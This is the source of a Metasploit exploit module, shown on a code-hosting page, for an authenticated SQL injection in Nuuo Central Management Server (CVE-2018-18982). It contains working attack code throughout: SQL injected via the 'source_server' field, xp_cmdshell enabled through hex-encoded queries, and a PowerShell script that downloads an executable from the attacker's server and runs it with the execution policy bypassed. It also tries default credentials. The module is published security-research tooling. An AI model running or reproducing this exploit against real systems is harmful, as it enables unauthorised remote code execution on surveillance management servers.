Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::EXE9include Msf::Exploit::FileDropper10include Msf::Exploit::Remote::Nuuo11include Msf::Exploit::Remote::HttpServer1213def initialize(info={})14super(update_info(info,15'Name' => 'Nuuo Central Management Authenticated SQL Server SQLi',16'Description' => %q{17The Nuuo Central Management Server allows an authenticated user to query the state of the alarms.18This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is19installed by default, xp_cmdshell can be enabled and abused to achieve code execution.20This module will either use a provided session number (which can be guessed with an auxiliary21module) or attempt to login using a provided username and password - it will also try the22default credentials if nothing is provided.23},24'License' => MSF_LICENSE,25'Author' =>26[27'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module28],29'References' =>30[31[ 'CVE', '2018-18982' ],32[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ],33[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],34[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/NUUO/nuuo-cms-ownage.txt' ]3536],37'Platform' => 'win',38'Arch' => ARCH_X86,39'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground40'Targets' =>41[42[ 'Nuuo Central Management Server <= v2.10.0', {} ],43],44'Notes' =>45{46'SideEffects' => [ ARTIFACTS_ON_DISK ]47},48'Privileged' => false, # we run as NETWORK_SERVICE49'DisclosureDate' => '2018-10-11',50'DefaultTarget' => 0))51register_options [52Opt::RPORT(5180),53OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]),54OptString.new('URIPATH', [true, 'The URI to use for this exploit', "/#{rand_text_alpha(8..10)}"])55]56end575859def inject_sql(sql)60res = ncs_send_request({61'method' => 'GETOPENALARM',62'user_session' => user_session,63'device_id' => "#{rand_text_numeric(4)}",64'source_server' => "';#{sql};-- ",65'last_one' => "#{rand_text_numeric(4)}"66})67end6869# Handle incoming requests from the server70def on_request_uri(cli, request)71unless @pl72print_error("A request came in, but the payload wasn't ready yet!")73return74end75print_good('Sending the payload to CMS...')76send_response(cli, @pl)7778Rex.sleep(3)7980print_status('Executing shell...')81inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""))82register_file_for_cleanup("c:/windows/temp/#{@filename}")83end8485def create_hex_cmd(cmd)86var = rand_text_alpha(2)87hex_cmd = "declare @#{var} varchar(8000); select @#{var}=0x"88cmd.each_byte { |b|89hex_cmd << b.to_i.to_s(16)90}91hex_cmd << "; exec (@#{var})"92end9394def primer95# we need to roll our own here instead of using the MSSQL mixins96# (tried that and it doesn't work)97service_url = "http://#{srvhost_addr}:#{srvport}#{datastore['URIPATH']}"98print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}")99@filename = "#{rand_text_alpha_lower(8..10)}.exe"100ps1 = "#{rand_text_alpha_lower(8..10)}.ps1"101download_pl = %{xp_cmdshell }102download_pl << %{'cd C:\\windows\\temp\\ && }103download_pl << %{echo $webclient = New-Object System.Net.WebClient >> #{ps1} && }104download_pl << %{echo $url = "#{service_url}" >> #{ps1} && }105download_pl << %{echo $file = "#{@filename}" >> #{ps1} && }106download_pl << %{echo $webclient.DownloadFile($url,$file) >> #{ps1} && }107download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File #{ps1}'}108109print_status('Injecting PowerShell payload')110inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl))111register_file_for_cleanup("c:/windows/temp/#{ps1}")112end113114def exploit115connect116ncs_login117fail_with(Failure::Unknown, 'Failed to login to Nuuo CMS') unless user_session118119@pl = generate_payload_exe120121#do not use SSL122ssl = datastore['SSL']123datastore['SSL'] = false124125begin126Timeout.timeout(datastore['HTTPDELAY']) {super}127rescue Timeout::Error128datastore['SSL'] = ssl129end130end131end132133134